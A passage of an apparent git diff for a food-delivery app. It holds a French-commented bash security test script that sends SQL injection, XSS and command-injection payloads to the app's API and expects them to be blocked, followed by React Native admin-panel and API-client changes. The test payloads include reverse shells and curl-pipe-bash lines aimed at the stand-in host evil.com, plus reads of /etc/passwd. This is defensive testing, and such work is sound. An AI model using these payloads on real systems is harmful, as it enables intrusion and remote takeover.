if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token admin
|
||||
http_test_admin() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
echo "$body"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP sans authentification
|
||||
http_test_no_auth() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Authentification
|
||||
# =============================================================================
|
||||
|
||||
authenticate() {
|
||||
print_header "AUTHENTIFICATION"
|
||||
|
||||
# ==================== CLIENT LOGIN ====================
|
||||
print_section "1. Login Client"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v1/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$CLIENT_TOKEN" ]; then
|
||||
print_success "Login Client réussi - Token obtenu"
|
||||
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Client réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Client (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ==================== ADMIN LOGIN ====================
|
||||
print_section "2. Login Admin"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v2/admin/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$ADMIN_TOKEN" ]; then
|
||||
print_success "Login Admin réussi - Token obtenu"
|
||||
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Admin réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Admin (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests SQL Injection
|
||||
# =============================================================================
|
||||
|
||||
test_sql_injection() {
|
||||
print_header "TESTS SQL INJECTION"
|
||||
|
||||
print_section "1. SQL Injection - Login"
|
||||
|
||||
# Test 1: SQL Injection classique dans login client
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Client OR 1=1"
|
||||
|
||||
# Test 2: SQL Injection dans login admin
|
||||
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Admin OR 1=1"
|
||||
|
||||
# Test 3: SQL Injection avec UNION
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
||||
403 "SQLi - UNION SELECT"
|
||||
|
||||
# Test 4: SQL Injection avec DROP TABLE
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
||||
403 "SQLi - DROP TABLE"
|
||||
|
||||
# Test 5: SQL Injection avec commentaire
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''--","password":"test"}' \
|
||||
403 "SQLi - Commentaire SQL --"
|
||||
|
||||
print_section "2. SQL Injection - Panier"
|
||||
|
||||
# Test 6: SQL Injection dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
||||
403 "SQLi - Panier name_product"
|
||||
|
||||
# Test 7: SQL Injection dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
||||
403 "SQLi - Panier category"
|
||||
|
||||
print_section "3. SQL Injection - Admin"
|
||||
|
||||
# Test 8: SQL Injection dans username pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
||||
403 "SQLi - Username pénalité"
|
||||
|
||||
# Test 9: SQL Injection dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
||||
"" \
|
||||
403 "SQLi - Paramètres commandes"
|
||||
|
||||
# Test 10: SQL Injection dans ID commande
|
||||
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
||||
"" \
|
||||
403 "SQLi - ID commande"
|
||||
|
||||
# Test 11: SQL Injection dans username livreur
|
||||
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
||||
"" \
|
||||
403 "SQLi - Username livreur"
|
||||
|
||||
print_section "4. SQL Injection - Commandes Client"
|
||||
|
||||
# Test 12: SQL Injection dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
||||
403 "SQLi - Adresse checkout"
|
||||
|
||||
# Test 13: SQL Injection nom produit admin
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
||||
403 "SQLi - Nom produit admin"
|
||||
|
||||
print_section "5. SQL Injection - Variantes avancées"
|
||||
|
||||
# Test 14: SQL Injection avec AND
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - AND condition"
|
||||
|
||||
# Test 15: SQL Injection avec encodage hex
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
||||
403 "SQLi - Encodage hex"
|
||||
|
||||
# Test 16: SQL Injection avec SLEEP (Time-based)
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
||||
403 "SQLi - Time-based SLEEP"
|
||||
|
||||
# Test 17: SQL Injection avec BENCHMARK
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
||||
403 "SQLi - BENCHMARK"
|
||||
|
||||
# Test 18: SQL Injection avec sous-requête
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
||||
403 "SQLi - Sous-requête"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests XSS (Cross-Site Scripting)
|
||||
# =============================================================================
|
||||
|
||||
test_xss() {
|
||||
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
||||
|
||||
print_section "1. XSS - Login"
|
||||
|
||||
# Test 1: XSS basique avec script tag
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Script tag basique"
|
||||
|
||||
# Test 2: XSS avec event handler
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
||||
403 "XSS - Event handler onerror"
|
||||
|
||||
# Test 3: XSS avec SVG
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - SVG onload"
|
||||
|
||||
print_section "2. XSS - Panier"
|
||||
|
||||
# Test 4: XSS dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
||||
403 "XSS - Panier name_product"
|
||||
|
||||
# Test 5: XSS dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
||||
403 "XSS - Panier category"
|
||||
|
||||
print_section "3. XSS - Admin"
|
||||
|
||||
# Test 6: XSS dans raison pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
||||
400 "XSS - Raison pénalité"
|
||||
|
||||
# Test 7: XSS dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
||||
"" \
|
||||
403 "XSS - Paramètres commandes"
|
||||
|
||||
# Test 8: XSS dans description produit
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
||||
403 "XSS - Description produit"
|
||||
|
||||
print_section "4. XSS - Commandes Client"
|
||||
|
||||
# Test 9: XSS dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Adresse checkout"
|
||||
|
||||
# Test 10: XSS dans commentaire approbation
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Commentaire approbation"
|
||||
|
||||
# Test 11: XSS dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Raison annulation"
|
||||
|
||||
print_section "5. XSS - Variantes avancées"
|
||||
|
||||
# Test 12: XSS avec iframe
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
||||
403 "XSS - iframe javascript"
|
||||
|
||||
# Test 13: XSS avec body onload
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - body onload"
|
||||
|
||||
# Test 14: XSS avec input autofocus
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
||||
403 "XSS - input autofocus"
|
||||
|
||||
# Test 15: XSS avec marquee
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
||||
403 "XSS - marquee onstart"
|
||||
|
||||
# Test 16: XSS avec details/summary
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
||||
403 "XSS - details ontoggle"
|
||||
|
||||
# Test 17: XSS avec javascript: protocol
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
||||
403 "XSS - javascript protocol"
|
||||
|
||||
# Test 18: XSS avec data: URI
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
||||
403 "XSS - data URI"
|
||||
|
||||
# Test 19: XSS encodé HTML
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Encodage HTML entities"
|
||||
|
||||
# Test 20: XSS avec polyglotte
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
||||
403 "XSS - Polyglotte"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests RCE (Remote Code Execution)
|
||||
# =============================================================================
|
||||
|
||||
test_rce() {
|
||||
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
||||
|
||||
print_section "1. RCE - Command Injection basique"
|
||||
|
||||
# Test 1: Command substitution avec $()
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution"
|
||||
|
||||
# Test 2: Command substitution avec backticks
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution backticks"
|
||||
|
||||
# Test 3: Pipe command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Pipe command"
|
||||
|
||||
# Test 4: Semicolon command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Semicolon chaining"
|
||||
|
||||
# Test 5: AND command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - AND chaining"
|
||||
|
||||
# Test 6: OR command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - OR chaining"
|
||||
|
||||
print_section "2. RCE - Commandes système dangereuses"
|
||||
|
||||
# Test 7: cat /etc/passwd
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - cat /etc/passwd"
|
||||
|
||||
# Test 8: ls command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - ls command"
|
||||
|
||||
# Test 9: wget command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - wget download"
|
||||
|
||||
# Test 10: curl command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - curl pipe bash"
|
||||
|
||||
# Test 11: nc (netcat) reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - netcat reverse shell"
|
||||
|
||||
# Test 12: bash reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - bash reverse shell"
|
||||
|
||||
print_section "3. RCE - Dans autres endpoints"
|
||||
|
||||
# Test 13: RCE dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"$(whoami)"}' \
|
||||
403 "RCE - Adresse checkout"
|
||||
|
||||
# Test 14: RCE dans login
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"$(id)","password":"test"}' \
|
||||
403 "RCE - Login username"
|
||||
|
||||
# Test 15: RCE dans commentaire
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"$(uname -a)"}' \
|
||||
403 "RCE - Commentaire approbation"
|
||||
|
||||
# Test 16: RCE dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"$(pwd)"}' \
|
||||
403 "RCE - Raison annulation"
|
||||
|
||||
print_section "4. RCE - Python/Perl/Ruby injection"
|
||||
|
||||
# Test 17: Python code execution
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Python import os"
|
||||
|
||||
# Test 18: eval() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - eval injection"
|
||||
|
||||
# Test 19: exec() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - exec injection"
|
||||
|
||||
# Test 20: system() call
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - system call"
|
||||
}
|
||||
|
||||
main() {
|
||||
# Exécution des tests
|
||||
authenticate
|
||||
test_rce
|
||||
test_xss
|
||||
test_sql_injection
|
||||
http_test_no_auth
|
||||
}
|
||||
|
||||
main
|
||||
+4
-10
@@ -2,7 +2,6 @@ import React, { useMemo, useEffect } from "react";
|
||||
import { StatusBar } from "expo-status-bar";
|
||||
import { ActivityIndicator, View, StyleSheet } from "react-native";
|
||||
import * as Updates from "expo-updates";
|
||||
import AsyncStorage from "@react-native-async-storage/async-storage";
|
||||
import { NavigationContainer } from "@react-navigation/native";
|
||||
import { createNativeStackNavigator } from "@react-navigation/native-stack";
|
||||
|
||||
@@ -24,8 +23,6 @@ import type { AuthStackParamList } from "./src/navigation/types";
|
||||
|
||||
const Stack = createNativeStackNavigator<AuthStackParamList>();
|
||||
|
||||
const OTA_LAST_RELOAD_KEY = "ota_last_reload_update_id";
|
||||
|
||||
function AuthStack() {
|
||||
const { colors } = useTheme();
|
||||
|
||||
@@ -100,13 +97,10 @@ export default function App() {
|
||||
const checkForUpdate = async () => {
|
||||
try {
|
||||
const update = await Updates.checkForUpdateAsync();
|
||||
const id = update.isAvailable ? update.manifest?.id : undefined;
|
||||
if (!id || id === Updates.updateId) return;
|
||||
// Déjà tentée : si elle ne tourne pas, on ne relance pas (évite la boucle)
|
||||
if ((await AsyncStorage.getItem(OTA_LAST_RELOAD_KEY)) === id) return;
|
||||
await Updates.fetchUpdateAsync();
|
||||
await AsyncStorage.setItem(OTA_LAST_RELOAD_KEY, id);
|
||||
await Updates.reloadAsync();
|
||||
if (update.isAvailable) {
|
||||
await Updates.fetchUpdateAsync();
|
||||
await Updates.reloadAsync();
|
||||
}
|
||||
} catch (e) {
|
||||
console.error("[OTA] Échec de la vérification/application de la mise à jour:", e);
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"expo": {
|
||||
"name": "Netflix",
|
||||
"name": "Admin Panel",
|
||||
"slug": "frontend-admin",
|
||||
"version": "1.0.0",
|
||||
"orientation": "portrait",
|
||||
@@ -38,7 +38,6 @@
|
||||
"expo-font",
|
||||
"expo-location",
|
||||
"expo-updates",
|
||||
"./plugins/withRecentsProtection",
|
||||
[
|
||||
"expo-build-properties",
|
||||
{
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 169 KiB After Width: | Height: | Size: 701 KiB |
@@ -1,26 +0,0 @@
|
||||
const { withMainActivity } = require("expo/config-plugins");
|
||||
|
||||
const CALL =
|
||||
"if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) setRecentsScreenshotEnabled(false)";
|
||||
|
||||
// Masque l'écran dans les apps récentes sans bloquer les captures (Android 13+).
|
||||
module.exports = (config) =>
|
||||
withMainActivity(config, (cfg) => {
|
||||
let src = cfg.modResults.contents;
|
||||
if (cfg.modResults.language !== "kt") {
|
||||
throw new Error("withRecentsProtection: MainActivity Kotlin attendue");
|
||||
}
|
||||
if (src.includes("setRecentsScreenshotEnabled")) return cfg;
|
||||
|
||||
const superOnCreate = /^(\s*)super\.onCreate\([^)]*\)[ \t]*;?[ \t]*$/m;
|
||||
if (!superOnCreate.test(src)) {
|
||||
throw new Error("withRecentsProtection: super.onCreate introuvable");
|
||||
}
|
||||
src = src.replace(superOnCreate, (m, indent) => `${m}\n${indent}${CALL}`);
|
||||
if (!src.includes("import android.os.Build\n")) {
|
||||
src = src.replace(/^(package .+\n)/m, `$1\nimport android.os.Build\n`);
|
||||
}
|
||||
|
||||
cfg.modResults.contents = src;
|
||||
return cfg;
|
||||
});
|
||||
@@ -56,8 +56,6 @@ export const logoutAdmin = async (): Promise<void> => {
|
||||
export interface StatsSummary {
|
||||
total_orders: number;
|
||||
total_revenue: number;
|
||||
total_promo_discount: number;
|
||||
promo_orders_count: number;
|
||||
peak_weekday: string;
|
||||
top_product: string;
|
||||
avg_per_day: number;
|
||||
@@ -207,54 +205,14 @@ export const getAdminStatsByMonth = async (
|
||||
);
|
||||
return data;
|
||||
};
|
||||
export interface AdminUserItem {
|
||||
id: number;
|
||||
username: string;
|
||||
role: string;
|
||||
}
|
||||
|
||||
export interface PagedResult<T> {
|
||||
items: T[];
|
||||
total: number;
|
||||
hasMore: boolean;
|
||||
}
|
||||
|
||||
export const getAllClients = async (
|
||||
offset = 0,
|
||||
limit = 100,
|
||||
): Promise<PagedResult<ClientResponse>> => {
|
||||
const { data } = await apiClient.get(`${V2}/admin/protected/all/clients`, {
|
||||
params: { limit, offset },
|
||||
});
|
||||
return {
|
||||
items: data.clients || [],
|
||||
total: data.count ?? 0,
|
||||
hasMore: !!data.has_more,
|
||||
};
|
||||
export const getAllClients = async (): Promise<ClientResponse[]> => {
|
||||
const { data } = await apiClient.get(`${V2}/admin/protected/all/clients`);
|
||||
return data.clients || [];
|
||||
};
|
||||
|
||||
// Totaux globaux (toute la base, pas seulement la page chargée).
|
||||
export interface UserCounts {
|
||||
all: number;
|
||||
client: number;
|
||||
livreur: number;
|
||||
cabine: number;
|
||||
admin: number;
|
||||
}
|
||||
|
||||
export const getAllUsers = async (
|
||||
offset = 0,
|
||||
limit = 100,
|
||||
): Promise<PagedResult<AdminUserItem> & { counts?: UserCounts }> => {
|
||||
const { data } = await apiClient.get(`${V2}/admin/protected/all/users`, {
|
||||
params: { limit, offset },
|
||||
});
|
||||
return {
|
||||
items: data.users || [],
|
||||
total: data.count ?? 0,
|
||||
hasMore: !!data.has_more,
|
||||
counts: data.counts ?? undefined,
|
||||
};
|
||||
export const getAllUsers = async () => {
|
||||
const { data } = await apiClient.get(`${V2}/admin/protected/all/users`);
|
||||
return data.users || [];
|
||||
};
|
||||
|
||||
export const updateClientByAdmin = async (
|
||||
@@ -529,37 +487,60 @@ export const getAllDeliveryPersonsWithDetails = async (): Promise<{
|
||||
stats: DeliveryPersonsStats;
|
||||
}> => {
|
||||
try {
|
||||
// Le backend renvoie désormais statut/position/compteurs déjà
|
||||
// enrichis pour tous les livreurs en un seul appel (voir
|
||||
// GetDeliveryPersonsDetailsBatch côté backend) : plus besoin d'un
|
||||
// aller-retour /delivery-persons/:username par livreur ici.
|
||||
const { data } = await apiClient.get(
|
||||
`${V2}/admin/protected/delivery-persons`,
|
||||
);
|
||||
const livreurs = data.livreurs || [];
|
||||
|
||||
const enriched: DeliveryPerson[] = livreurs.map(
|
||||
(l: any): DeliveryPerson => {
|
||||
const parsedStatus = parseStatus(l.status);
|
||||
const hasLoc = l.location?.latitude && l.location?.longitude;
|
||||
return {
|
||||
id: l.id,
|
||||
username: l.username,
|
||||
status: parsedStatus,
|
||||
location: {
|
||||
latitude: hasLoc ? l.location.latitude : 0,
|
||||
longitude: hasLoc ? l.location.longitude : 0,
|
||||
last_update: new Date().toISOString(),
|
||||
is_recent: false,
|
||||
},
|
||||
stats: {
|
||||
total_deliveries: l.total_deliveries || 0,
|
||||
completed_today: l.completed_deliveries || 0,
|
||||
queue_size: l.queue_size || 0,
|
||||
current_command: l.current_command || null,
|
||||
},
|
||||
};
|
||||
},
|
||||
const enriched = await Promise.all(
|
||||
livreurs.map(async (l: any): Promise<DeliveryPerson> => {
|
||||
try {
|
||||
const details = await getDeliveryPersonDetails(l.username);
|
||||
const parsedStatus = parseStatus(details.status);
|
||||
const hasLoc =
|
||||
details.location?.latitude &&
|
||||
details.location?.longitude;
|
||||
return {
|
||||
id: l.id,
|
||||
username: l.username,
|
||||
status: parsedStatus,
|
||||
location: {
|
||||
latitude: hasLoc ? details.location.latitude : 0,
|
||||
longitude: hasLoc ? details.location.longitude : 0,
|
||||
last_update: details.location?.last_update
|
||||
? new Date(
|
||||
details.location.last_update * 1000,
|
||||
).toISOString()
|
||||
: new Date().toISOString(),
|
||||
is_recent: details.location?.is_recent || false,
|
||||
},
|
||||
stats: {
|
||||
total_deliveries: details.total_deliveries || 0,
|
||||
completed_today: details.completed_deliveries || 0,
|
||||
queue_size: details.queue_size || 0,
|
||||
current_command: details.current_command || null,
|
||||
},
|
||||
};
|
||||
} catch {
|
||||
return {
|
||||
id: l.id,
|
||||
username: l.username,
|
||||
status: "offline",
|
||||
location: {
|
||||
latitude: 0,
|
||||
longitude: 0,
|
||||
last_update: new Date().toISOString(),
|
||||
is_recent: false,
|
||||
},
|
||||
stats: {
|
||||
total_deliveries: 0,
|
||||
completed_today: 0,
|
||||
queue_size: 0,
|
||||
current_command: null,
|
||||
},
|
||||
};
|
||||
}
|
||||
}),
|
||||
);
|
||||
|
||||
const stats: DeliveryPersonsStats = {
|
||||
@@ -644,17 +625,6 @@ export const updateProductAdmin = async (
|
||||
return { success: true, data: data.data, message: data.message };
|
||||
};
|
||||
|
||||
export const updateProductStockAdmin = async (
|
||||
productId: number,
|
||||
stock: number,
|
||||
) => {
|
||||
const { data } = await apiClient.post(
|
||||
`${V2}/admin/protected/products/${productId}/stock`,
|
||||
{ stock },
|
||||
);
|
||||
return { success: true, product: data.product };
|
||||
};
|
||||
|
||||
export const deleteProductAdmin = async (productId: number) => {
|
||||
const { data } = await apiClient.delete(
|
||||
`${V2}/admin/protected/products/${productId}`,
|
||||
@@ -783,22 +753,6 @@ export const getClientReferralAdmin = async (
|
||||
}
|
||||
};
|
||||
|
||||
export const resetClientRateLimit = async (
|
||||
username: string,
|
||||
): Promise<{ success: boolean; error?: string }> => {
|
||||
try {
|
||||
await apiClient.post(
|
||||
`${V2}/admin/protected/client/${username}/ratelimit/reset`,
|
||||
);
|
||||
return { success: true };
|
||||
} catch (e: any) {
|
||||
return {
|
||||
success: false,
|
||||
